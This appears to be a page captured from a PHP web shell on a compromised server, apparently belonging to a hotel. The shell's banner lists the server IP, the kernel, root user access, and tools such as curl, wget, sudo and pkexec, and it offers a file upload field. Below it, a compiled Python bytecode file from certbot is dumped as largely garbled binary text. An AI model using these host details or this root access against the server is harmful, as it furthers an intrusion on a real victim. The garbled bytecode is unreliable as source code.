Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/certbot/_internal/__pycache__/ |
Upload File : |
o 6��a+ � @ sT d Z ddlZddlZddlZddlZddlZddlmZ e�e �Z G dd� d�ZdS )z.Collects and displays information to the user.� N)�utilc @ sH e Zd ZdZdZ dZ dZ e�dd�Z dd� Z dd d�Zdd � ZdS )�Reporterz�Collects and displays information to the user. :ivar `queue.PriorityQueue` messages: Messages to be displayed to the user. r � � � _msg_typezpriority text on_crashc C s t �� | _|| _d S �N)�queue� PriorityQueue�messages�config)�selfr � r �</usr/lib/python3/dist-packages/certbot/_internal/reporter.py�__init__ s zReporter.__init__Tc C sF | j | kr | jksJ � J �| j�| �|||�� t�d|� dS )aX Adds msg to the list of messages to be printed. :param str msg: Message to be displayed to the user. :param int priority: One of `HIGH_PRIORITY`, `MEDIUM_PRIORITY`, or `LOW_PRIORITY`. :param bool on_crash: Whether or not the message should be printed if the program exits abnormally. zReporting to user: %sN)� HIGH_PRIORITY�LOW_PRIORITYr �putr �logger�debug)r �msg�priority�on_crashr r r �add_message"